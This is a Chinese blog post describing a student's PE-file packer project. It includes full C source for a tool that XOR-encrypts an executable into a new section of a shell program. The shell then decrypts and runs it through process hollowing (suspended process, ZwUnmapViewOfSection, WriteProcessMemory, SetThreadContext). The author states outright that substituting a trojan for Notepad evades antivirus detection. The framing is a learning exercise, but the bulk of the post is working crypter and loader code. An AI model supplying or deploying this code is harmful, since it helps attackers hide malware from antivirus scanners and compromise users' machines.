*(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000; memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40); *(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = ‘a‘; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000; printf("%x",(flen/0x1000+1)*0x1000); int a; if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){ a = sections.VirtualAddress+sections.VirtualSize; } else{ a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000; } //sections.VirtualSize = headers_file.SectionAlignment; if(sections.VirtualSize>sections.SizeOfRawData){ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } else{ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } //printf("%x\n",a); //sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000; //sections.SizeOfRawData = headers_file.FileAlignment; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData; if(sections.VirtualSize>sections.SizeOfRawData){ sections.VirtualAddress = a;} else{ sections.VirtualAddress = a; } sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData; sections.VirtualSize = (flen/0x1000+1)*0x1000; sections.SizeOfRawData = (flen/0x1000+1)*0x1000; } addcode(start_new_image); return start_new_image; } char* memcopy_file_2(char* start_image){ char* start_file; start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000); //printf("%x",flen+headers_file.SectionAlignment); memset(start_file,0,len1+(flen/0x1000+1)*0x1000); memcpy(start_file,start_image,headers_file.SizeOfHeaders); int i; char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections+1;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData); start_section = start_section+40; } return start_file; } void copy_file_2(char* start_file){ FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\加密后.exe","wb"); fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp); fclose(fp); } void up_Info(char* start){ char* start_new; start_new = (char*)malloc(headers_file.SizeOfHeaders); memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40); memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40); free(start_new); *(int*)(start+60) = 64; } char* readfile(char* path){ FILE* fp; fp = fopen(path,"rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); char* buffer; buffer = (char*)malloc(flen); fread(buffer,flen,1,fp); fclose(fp); return buffer; } void encrypt(char* data,int len){ for(int i =0;i<len;i++) { data[i] ^=‘4310‘; } } VOID Loading_Shell() { char shellPath[1024] = "shellC.exe"; p1 = readfile(shellPath); len1 = flen; p2 = get_file(); len2 = flen; encrypt(p2,len2); getInfo_2(p1); up_Info(p1); getInfo_2(p1); char* start_image = memcopy_image_2(p1); free(p1); char* start_new_image = add_section_2(start_image); free(start_image); char* start_file = memcopy_file_2(start_new_image); copy_file_2(start_file); free(start_file); // return 0; } BOOL CALLBACK DialogProc( HWND hwndDlg, // handle to dialog box UINT uMsg, // message WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ) { hwndDlg1 = hwndDlg; switch(uMsg) { case WM_INITDIALOG: { HICON hIcon = LoadIcon(hInstanceicon,MAKEINTRESOURCE(IDI_ICON1)); SendMessage(hwndDlg,WM_SETICON,ICON_BIG,(long)hIcon); SendMessage(hwndDlg,WM_SETICON,ICON_SMALL,(long)hIcon); InitProcessListView(hwndDlg); InitProcessListView_down(hwndDlg); return true; } case WM_CLOSE: { EndDialog(hwndDlg,0); break; } case WM_COMMAND: { switch(LOWORD(wParam)) { case IDC_BUTTON1: { TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys"; TCHAR szFileName[256]; memset(szFileName,0,256); memset(&stOpenFile,0,sizeof(OPENFILENAME)); stOpenFile.lStructSize = sizeof(OPENFILENAME); stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST; stOpenFile.hwndOwner = hwndDlg; stOpenFile.lpstrFilter = szPeFileExt; stOpenFile.lpstrFile = szFileName; stOpenFile.nMaxFile = MAX_PATH; GetOpenFileName(&stOpenFile); DialogBox(hInstanceicon,MAKEINTRESOURCE(IDD_DIALOG_WIN1),NULL,PE_DEAL); return true; } case IDC_BUTTON4: { TCHAR szPeFileExt[100] = "*.exe;*.dll;*.scr;*.drv;*.sys"; TCHAR szFileName[256]; memset(szFileName,0,256); memset(&stOpenFile,0,sizeof(OPENFILENAME)); stOpenFile.lStructSize = sizeof(OPENFILENAME); stOpenFile.Flags = OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST; stOpenFile.hwndOwner = hwndDlg; stOpenFile.lpstrFilter = szPeFileExt; stOpenFile.lpstrFile = szFileName; stOpenFile.nMaxFile = MAX_PATH; GetOpenFileName(&stOpenFile); Loading_Shell(); return true; } case IDC_BUTTON3: { EndDialog(hwndDlg,0); return true; } } case WM_NOTIFY: { NMHDR* pNMHDR = (NMHDR*)lParam; if(wParam == IDC_PROCESS1 && pNMHDR->code == NM_CLICK) { EnumModules(GetDlgItem(hwndDlg,IDC_PROCESS1),wParam,lParam,GetDlgItem(hwndDlg,IDC_PROCESS2)); } } } } return FALSE ; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. hInstanceicon = hInstance; INITCOMMONCONTROLSEX icex; icex.dwSize = sizeof(INITCOMMONCONTROLSEX); icex.dwICC = ICC_WIN95_CLASSES; InitCommonControlsEx(&icex); DialogBox(hInstance,MAKEINTRESOURCE(IDD_DIALOG_MAIN),NULL,DialogProc); return 0; }
三、加壳思路及代码实现
1、获取Shell程序的路径
2、获取src程序的路径
3、将src程序读取到内存中,加密(我使用了最简单的异或,密钥是“4310”,可以随意更换加密方式)
4、在Shell程序中新增一个节,并将加密后的src程序追加到Shell程序的新增节中
5、加壳过程完毕
1、获取SHELL程序的路径
2、获取src的数据
(1) 定为到SHELL文件的最后一个节
(2) 将数据取出,并解密
3、拉伸PE
将解密后的PE文件在内存中拉伸,并存储到缓冲区中
4、以挂起方式运行Shell进程
(0) 以挂起形成创建Shell进程,并得到主线程的Context
(1) 卸载外壳程序的文件镜像(ZwUnmapViewOfSection)
(2) 在指定的位置(src的ImageBase)申请指定大小(src的SizeOfImage)的内存(VirtualAllocEx)
(3) 如果创建失败,查看src是否包含重定位表,如果包含重定位表,就在任意位置申请(src的SizeOfImage)
大小的内存,然后修复重定位表.
(4) 如果在指定位置申请内存失败,并且没有重定位表的数据,直接返回失败.
(5) 如果内存申请成功,将新的数据复制到内存中
(6) 修正运行环境的基址和入口地址
(7) 恢复主线程执行
1、读取主模块的数据
2、解密:得到原来的PE文件
3、以挂起的形式创建进程:CreateProcess :要创建的进程在哪里?
要创建的进程,就是壳子本身!
4、获取外壳程序的Context,后面要用.
5、卸载外壳程序.
6、在指定的位置分配空间:位置就是src的ImageBase 大小就是Src的SizeOfImage
7、如果成功,将Src的PE文件拉伸 复制到该空间中
8、如果申请空间失败,但有重定位表:在任意位置申请空间,然后将PE文件拉伸、复制、修复重定位表。
9、如果第6步申请空间失败,并且还没有重定位表,直接返回:失败.
10、修改外壳程序的Context:
将Context的ImageBase 改成 Src的ImageBase
将Context的OPE 改成 Src的OEP
11、设置Context 并恢复主线程
12、终止外壳程序,解壳过程结束.
这样对加壳后的程序进行分析,分析的是壳子程序本身,而不是原程序,达到了防止静态检测的目的,但是对动态检测效果甚微。
加密部分:
// 加密部分.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <stdlib.h> #include <malloc.h> #include <string.h> int flen,len1; int flag = 1; char* p1; char* p2; typedef struct PE{ int e_lfanew; short NumberOfSections; short SizeOfOptionalHeader; int EntryPoint; int ImageBase ; int SectionAlignment ; int SizeOfImage; int FileAlignment; int SizeOfHeaders; }headers; typedef struct sec{ int PointerToRawData; int SizeOfRawData; int VirtualAddress; int VirtualSize; }section; headers headers_file; section sections; char get_char_data(char* start,int distance){ char data = *(start+distance); return data; } short get_short_data(char* start,int distance){ short data =*(short*) (start+distance); return data; } int get_int_data(char* start,int distance){ int data =*(int*) (start+distance); return data; } void getInfo(char* start){ headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.SizeOfOptionalHeader = get_short_data(start,20); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); } char* memcopy_image(char* start_file){ char* start_image; start_image = (char*)malloc(headers_file.SizeOfImage); memset(start_image,0,headers_file.SizeOfImage); memcpy(start_image,start_file,headers_file.SizeOfHeaders); int i; char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData); start_section = start_section+40; } return start_image; } void addcode(char* start_image){ int point = (int)start_image; memcpy(start_image+sections.VirtualAddress,p2,flen); } char* add_section(char* start_image){ char* start_new_image; if(headers_file.SizeOfHeaders-headers_file.e_lfanew-headers_file.SizeOfOptionalHeader-24-headers_file.NumberOfSections*40<80){ printf("space is not statific"); } else{ printf("space is statific"); start_new_image = (char*)malloc(headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memset(start_new_image,0,headers_file.SizeOfImage+(flen/0x1000+1)*0x1000); memcpy(start_new_image,start_image,headers_file.SizeOfImage); *(short*)(start_new_image+headers_file.e_lfanew+6) = headers_file.NumberOfSections+1; *(int*)(start_new_image+headers_file.e_lfanew+80) = headers_file.SizeOfImage+(flen/0x1000+1)*0x1000; memcpy(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40,start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24,40); *(char*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40) = ‘a‘; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+0x24) = 0xe0000020; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+8) = (flen/0x1000+1)*0x1000; printf("%x",(flen/0x1000+1)*0x1000); int a; if((sections.VirtualAddress+sections.VirtualSize)%0x1000==0){ a = sections.VirtualAddress+sections.VirtualSize; } else{ a = ((sections.VirtualAddress+sections.VirtualSize)/0x1000+1)*0x1000; } //sections.VirtualSize = headers_file.SectionAlignment; if(sections.VirtualSize>sections.SizeOfRawData){ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } else{ *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+12) = a; } printf("%x\n",a); //sections.VirtualAddress = sections.VirtualAddress+sections.VirtualSize; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+16) = (flen/0x1000+1)*0x1000; //sections.SizeOfRawData = headers_file.FileAlignment; *(int*)(start_new_image+headers_file.e_lfanew+headers_file.SizeOfOptionalHeader+24+headers_file.NumberOfSections*40+20) = sections.PointerToRawData+sections.SizeOfRawData; if(sections.VirtualSize>sections.SizeOfRawData){ sections.VirtualAddress = a;} else{ sections.VirtualAddress = a; } sections.PointerToRawData = sections.PointerToRawData+sections.SizeOfRawData; sections.VirtualSize = (flen/0x1000+1)*0x1000; sections.SizeOfRawData = (flen/0x1000+1)*0x1000; } addcode(start_new_image); return start_new_image; } char* memcopy_file(char* start_image){ char* start_file; start_file = (char*)malloc(len1+(flen/0x1000+1)*0x1000); //printf("%x",flen+headers_file.SectionAlignment); memset(start_file,0,len1+(flen/0x1000+1)*0x1000); memcpy(start_file,start_image,headers_file.SizeOfHeaders); int i; char* start_section = start_image+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections+1;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); memcpy(start_file+sections.PointerToRawData,start_image+sections.VirtualAddress,sections.SizeOfRawData); start_section = start_section+40; } return start_file; } void copy_file(char* start_file){ FILE* fp = fopen("C:\\Documents and Settings\\Administrator\\桌面\\4310.exe","wb"); fwrite(start_file,len1+(flen/0x1000+1)*0x1000,1,fp); fclose(fp); } void up_Info(char* start){ char* start_new; start_new = (char*)malloc(headers_file.SizeOfHeaders); memcpy(start_new,start+headers_file.e_lfanew,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40); memcpy(start+64,start_new,24+headers_file.SizeOfOptionalHeader+headers_file.NumberOfSections*40); free(start_new); *(int*)(start+60) = 64; } /* run this program using the console pauser or add your own getch, system("pause") or input loop */ char* readfile(char* path){ FILE* fp; fp = fopen(path,"rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); char* buffer; buffer = (char*)malloc(flen); fread(buffer,flen,1,fp); fclose(fp); return buffer; } void encrypt(char* data,int len){ for(int i =0;i<len;i++) { data[i] ^=‘4310‘; } } int main(int argc, char *argv[]) { char shellPath[1024] = "C:\\Program Files\\Microsoft Visual Studio1\\MyProjects\\shellC\\Debug\\shellC.exe"; char srcPath[1024] = "C:\\Documents and Settings\\Administrator\\桌面\\MyGetColor.exe"; int len2; p1 = readfile(shellPath); len1 = flen; p2 =readfile(srcPath); len2 = flen; encrypt(p2,len2); getInfo(p1); up_Info(p1); getInfo(p1); char* start_image = memcopy_image(p1); free(p1); char* start_new_image = add_section(start_image); free(start_image); char* start_file = memcopy_file(start_new_image); copy_file(start_file); free(start_file); return 0; }
壳子程序:
// shellC.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <windows.h> #include <stdlib.h> typedef struct PE{ int e_lfanew; short NumberOfSections; short SizeOfOptionalHeader; int EntryPoint; int ImageBase ; int SectionAlignment ; int SizeOfImage; int FileAlignment; int SizeOfHeaders; }headers; typedef struct sec{ int PointerToRawData; int SizeOfRawData; int VirtualAddress; int VirtualSize; }section; headers headers_file; section sections; char get_char_data(char* start,int distance){ char data = *(start+distance); return data; } short get_short_data(char* start,int distance){ short data =*(short*) (start+distance); return data; } int get_int_data(char* start,int distance){ int data =*(int*) (start+distance); return data; } void getInfo(char* start){ headers_file.e_lfanew = get_int_data(start,60); start = start+headers_file.e_lfanew; headers_file.NumberOfSections = get_short_data(start,6); headers_file.SizeOfOptionalHeader = get_short_data(start,20); start = start+24; headers_file.EntryPoint = get_int_data(start,16); headers_file.ImageBase = get_int_data(start,28); headers_file.SectionAlignment = get_int_data(start,32); headers_file.SizeOfImage = get_int_data(start,56); headers_file.FileAlignment = get_int_data(start,36); headers_file.SizeOfHeaders = get_int_data(start,60); } char* Get_src(char* start){ char* start_section = start+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(int i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); start_section = start_section+40; } return start+sections.PointerToRawData; } void Decode(char* src,int size){ for(int i =0;i<size;i++) { src[i] ^=‘4310‘; } } char* memcopy_image(char* start_file){ char* start_image; start_image = (char*)malloc(headers_file.SizeOfImage); memset(start_image,0,headers_file.SizeOfImage); memcpy(start_image,start_file,headers_file.SizeOfHeaders); int i; char* start_section = start_file+headers_file.e_lfanew+24+headers_file.SizeOfOptionalHeader; for(i=0;i<headers_file.NumberOfSections;i++){ sections.PointerToRawData = get_int_data(start_section,20); sections.SizeOfRawData = get_int_data(start_section,16); sections.VirtualAddress = get_int_data(start_section,12); sections.VirtualSize = get_int_data(start_section,8); memcpy(start_image+sections.VirtualAddress,start_file+sections.PointerToRawData,sections.SizeOfRawData); start_section = start_section+40; } return start_image; } /*VOID ModificationBaseRel(IN LPVOID ImageBuffer, DWORD newImageBase) { PIMAGE_DOS_HEADER pDosHeader = NULL; //DOs 头 PIMAGE_NT_HEADERS pNTHeader = NULL; //NT头 PIMAGE_FILE_HEADER pFileHeader = NULL; // 标准PE头 PIMAGE_OPTIONAL_HEADER pOptionHerader = NULL; // 可选PE头 PIMAGE_SECTION_HEADER pSectionHeader = NULL; // 节表 PIMAGE_BASE_RELOCATION pBaseRelocation = NULL; //重定位表 pDosHeader = (PIMAGE_DOS_HEADER)ImageBuffer; pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew); pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + sizeof(DWORD)); pOptionHerader = (PIMAGE_OPTIONAL_HEADER)((DWORD)pFileHeader + IMAGE_SIZEOF_FILE_HEADER); pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHerader + pFileHeader->SizeOfOptionalHeader); pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDosHeader + pOptionHerader->DataDirectory[5].VirtualAddress); pOptionHerader->ImageBase = newImageBase; int index = 0; while (pBaseRelocation->VirtualAddress != 0) { int count = (pBaseRelocation->SizeOfBlock - 8) / 2; PWORD addr = (PWORD)((DWORD)pBaseRelocation + 8); for (int i = 0; i < count; i++) { DWORD height4 = addr[i] >> 12; if (height4 == 3) { DWORD low12 = addr[i] & 0x0fff; DWORD rva = pBaseRelocation->VirtualAddress + low12; PDWORD addr = (PDWORD)((DWORD)ImageBuffer + rva); *addr = *addr - pOptionHerader->ImageBase + newImageBase; } } index++; pBaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pBaseRelocation + pBaseRelocation->SizeOfBlock); } }*/ int main(int argc, char* argv[]) { char FilePath[255] = {0}; GetModuleFileName(NULL,FilePath,255); char currentDirectory[255] = {0}; GetCurrentDirectory(256,currentDirectory); //printf("%s",currentDirectory); int flen; FILE* fp; fp = fopen(FilePath,"rb"); if(fp == NULL){ printf("file error"); } fseek(fp,0L,SEEK_END); flen = ftell(fp); fseek(fp,0L,SEEK_SET); char* buffer; buffer = (char*)malloc(flen); fread(buffer,flen,1,fp); fclose(fp); getInfo(buffer); char* src = Get_src(buffer); Decode(src,sections.SizeOfRawData); getInfo(src); char* image = memcopy_image(src); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi; si.cb = sizeof(si); //以挂起的方式创建进程 CreateProcess( NULL, // name of executable module FilePath, // command line string NULL, // SD NULL, // SD FALSE, // handle inheritance option CREATE_SUSPENDED, // creation flags NULL, // new environment block currentDirectory, // current directory name &si, // startup information &pi // process information ); CONTEXT contx; contx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &contx); //获取入口点 DWORD dwEntryPoint = contx.Eax; //获取ImageBase char* baseAddress = (CHAR *)contx.Ebx + 8; DWORD imageBase = 0; SIZE_T byteSize = 0; //因为属于别人程序所以使用这个读 ReadProcessMemory(pi.hProcess, baseAddress, &imageBase, 4, &byteSize); typedef long NTSTATUS; typedef NTSTATUS(__stdcall *pfnZwUnmapViewOfSection)( IN HANDLE ProcessHandle, IN LPVOID BaseAddress ); pfnZwUnmapViewOfSection ZwUnmapViewOfSection; ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress( GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection"); if (!ZwUnmapViewOfSection) { ::TerminateThread(pi.hThread, 2); ::WaitForSingleObject(pi.hThread, INFINITE); return 0; } //卸载文件外壳镜像 DWORD a = 0; a = ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBase); LPVOID status = NULL; //指定区域分配地址 status = VirtualAllocEx(pi.hProcess, (LPVOID)headers_file.ImageBase, headers_file.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); /*if (status == NULL) { //判断有没有重定位 if (isRelocation(image)) { ::TerminateThread(pi.hThread, 2); ::WaitForSingleObject(pi.hThread, INFINITE); return 0; } status = VirtualAllocEx(pi.hProcess, NULL, headers_file.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (status == 0) { ::TerminateThread(pi.hThread, 2); ::WaitForSingleObject(pi.hThread, INFINITE); return 0; } //修复重定位 ModificationBaseRel(image, (DWORD)status); }*/ SIZE_T srcResult = 0; WriteProcessMemory(pi.hProcess, status, image, headers_file.SizeOfImage, &srcResult); //修正context结构 SIZE_T oepResult = 0; WriteProcessMemory(pi.hProcess, baseAddress, &headers_file.ImageBase, sizeof(DWORD), &oepResult); contx.Eax = headers_file.EntryPoint + headers_file.ImageBase; SetThreadContext(pi.hThread, &contx); //记得恢复线程 ResumeThread(pi.hThread); return 0; }
在物理主机中,总是被360检测为病毒,此过程在虚拟中进行。我采用笔记本程序NOTEPAD.exe程序作为原程序,进行加壳
生成了加壳后的程序,命名为4310.exe
运用PE工具,与NOTEPAD.exe进行pe结构比对
可以看到pe结构根本不同,因为这里分析的是壳子程序的PE结构,但双击运行
运行的是壳子程序,但是壳子程序在4GB虚拟内存中,把自身卸载掉,然后换上存储在节中的原程序(此处就是NOTEPAD.exe),也就达到如此效果,如果把NOTEPAD.exe换成木马程序,就能实现文件免杀的效果。
四、总结
这个项目从刚开学就开始做了,中间停滞了一段时间(复习考研),导致后来继续的时候,一些模块丢失,不能把逆向进阶和加壳的程序代码加到PE工具图形界面中,有些遗憾,但是预期效果都达到了,下一步的学习就是向内核(0环)进阶。
原文:https://www.cnblogs.com/srq111/p/13128494.html